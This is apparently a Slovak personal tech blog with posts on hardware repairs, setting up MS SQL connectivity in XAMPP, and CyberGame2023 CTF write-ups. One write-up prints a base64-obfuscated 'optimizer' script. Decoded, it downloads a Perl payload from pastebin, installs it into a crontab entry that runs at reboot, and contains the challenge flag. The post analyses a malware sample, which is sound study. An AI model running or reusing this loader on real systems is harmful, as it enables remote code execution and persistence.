24. 7. 2023

Oprava - Emos UNI D3 (N0322) univerzálny tester batérií

Prístroj Emos UNI D3 meria batérie AAA,AA,C,D, gombíkové a na zvlášť kontaktoch aj 9V. Na displeji ukazuje 3-ciferné napätie s dvomi desatinnými číslami, napríklad 1,52V. Na zadnej strane je tabuľka podľa ktorej môžeme určiť stav batérie:

  • Good > 1,3V  ( > 7,8V)
  • Low 1,15 - 1,3V  (6,3 - 7,8V)
  • Replace < 1,15V  (< 6,3V)

Opravovaný kus neukazoval na displeji nič. Po rozobraní som objavil malý plošný spoj, ktorý obsahuje hlavný procesor merajúci napätie a budiaci LCD displej. Ďalej je tu v závislosti na použití 9V, alebo 1,5V batérie urobené ako meranie, tak napájanie obvodu rôznymi súčiastkami.

4. 7. 2023

Oprava nabíjacieho USB-C kábla

Ako sa technika vyvíja, konektory sa menia, najslabšie miesta ostávajú. Pacient je 3m nabíjací kábel pre mobily GooBay 59132 od Wentronics. Opatrne som ostrým odlamovacím nožom odrezal po stranách gumenú pružnú krytku USB-C konektora, čo sa ukázalo ako príčina problému.

Utrhnutý hrubý mínus drôt mal na konci plôšku z plošného spoja. Napriek prekovu nevydržal pružné zachádzanie a utrhol sa.

Naspájkoval som ho z opačnej strany, našťastie dizajnér plošný spoj vybavil kontaktami na oboch stranách. Následne prišla na rad taviaca pištol a konektor je teraz pevnejší ako od výrobcu a tak chvíľu ešte poslúži.

22. 6. 2023

Spojazdnenie Microsoft SQL-Server konektivity v XAMPP

XAMPP - multiplatformový (windows,linux) balíček pre lokálny vývoj webových aplikácií. Obsahuje Apache web server, v ňom PHP funkcionalitu, Perl a prípadne doplnky ako MariaDB databázu, FileZilla FTP server, mailovú službu Mercury a aplikačný server Tomcat.

Môže byť výhodné pri tvorbe webovej aplikácie, mať rozbehaný lokálne XAMPP a dodávať na server už odladenejšie verzie súborov. XAMPP dovoľuje následne po inštalácií cez kontrolný panel spúšťať a zastavovať jednotlivé komponenty. Nemá teda permanentné nároky na hostiteľský počítač.

Pre rozbehanie konektivity z PHP na microsoft SQL server databázy je potrebné trochu mu pomôcť, tu je stručný postup:


Zo súboru SQLSRV511.ZIP rozbalíme DLL súbor do XAMPP\php\ext\ cesty ku ostatným driverom. Ja konkrétne nepoužívam PDO, tak som potreboval len súbor (mám PHP8.2, 64bit):

php_sqlsrv_82_ts_x64.dll

Ďalej som tento driver pridal do nastavení XAMPP\php\php.ini , našiel pgsql a pridal zaň riadok:

extension=sqlsrv_82_ts_x64

Zdrojové kódy pre lokálne vyvíjaný web (localhost adresa v browseri) sa umiestnia v XAMPP\htdocs, prípadne podadresároch.

25. 5. 2023

CTF - CyberGame2023 - Mysterious Application

Túto tému som síce neprešiel, avšak dešifrovanie prvej úlohy bez jej spustenia mi dalo celkom zabrať. Tu je výsledok snaženia, pochopenie tohto konkrétneho typu obfuskácie.

1. Way in

Viacerí ľudia hlásia záhadnú aplikáciu vo svojom telefóne, po prvej analýze sme zistili, že v ich systéme bol v jednom zo súborov hash sum mismatch.

Tu máš súbor na analýzu. https://drive.google.com/file/d/.....

Stiahnem a rozbalím zo súboru ldd.tar súbor ldd. Vyzerá to byť klasický ldd shell skript, ktorý je súčasťou linuxových distribúcií. Vypisuje zdieľané knižnice (.so súbory), ktoré program zadaný ako parameter používa.
Tento skript má však na konci pridanú obfuskovanú funkciu "fun".

17. 5. 2023

CTF - CyberGame2023 - Phishing

Táto úloha je taká všehochuť, hlavne o orientovaní sa na webe (viaceré sociálne siete). Pre vyriešenie je potrebné sa registrovať do aplikácie Telegram, ktorá vyžaduje telefónne číslo. 

Boli ste cieľom phishingovej kampane. Rozhodli ste sa túto kampaň zanalyzovať.

Reported Difficulty: 1

16. 5. 2023

CTF - CyberGame2023 - Configuration

Tento scenár je na jednej strane veľmi praktický, reálne cvičenie ako si skontrolovať a vylepšiť zabezpečenie svojho linuxového stroja - Hardening.

Na druhej strane je odpovedanie trochu zložité a nemusí sa podariť na prvý pokus. Niekedy stačí prepnúť jeden parameter, ktorý znefunkční viaceré iné, zle nastavené. Inokedy je v jednej odpovedi veľa rôznych nastavení.

Ste adminom web servera a prišlo Vám niekoľko požiadavok ohľadom zmien konfigurácií.

Prikladáme celé /etc/ (súbor configurations.tar)
https://drive.google.com/file/d/1DtMrIe4i9Bn1UITyYEUZc_Je8QSDylb8/view?usp=share_link

Taktiež prikladáme zoznam súborov ktorý budete potrebovať pre vaše odpovede. V tomto súbore nájdete všetky súbory z /etc/ s príslušnými číslami. (súbor file_list.txt)

https://drive.google.com/file/d/1tmNtsSdnloLi-RyATmTMb_FKzd21Aiz1/view?usp=share_link

Reported Difficulty: 1

CTF - CyberGame2023 - Broken Optimizer

 V tomto sсenári prejdeme viacerými shell jazykmi a preto som po ňom siahol ako po prvom. Odhalíme viac krát obfuskovanú podvodnú aplikáciu.

1. Optimizer

Používateľ v tvojej firme si nainštaloval tento software, aby si zvýšil výkon PC, ale miesto toho sa mu počítač začal správať divne. Zisti, čo sa stalo.

Stiahneme z uvedenej linky súbor optimizer.sh :

#!/bin/bash
echo "IyEvYmluL2Jhc2gKIyBTSy1DRVJUe2QzZjFuMTc3M2x5X24wN18wcDcxbTF6M3J9Cm1rZGlyIC9v
cHQvb3B0aW1pemVyLwp3Z2V0IC1PIC9vcHQvb3B0aW1pemVyL2luc3RhbGxlci5wbCBodHRwczov
L3Bhc3RlYmluLmNvbS9yYXcvUWdqVHF0VlEKZWNobyAiQHJlYm9vdCBwZXJsIC9vcHQvb3B0aW1p
emVyL2luc3RhbGxlci5wbCIgPj4gL2V0Yy95b3VyX2Nyb250YWJfZmlsZQo=" | base64 -d

Vidieť, že má svoj kód maskovaný cez base64 (z kódu som zámerne zmazal na konci presmerovanie do bash).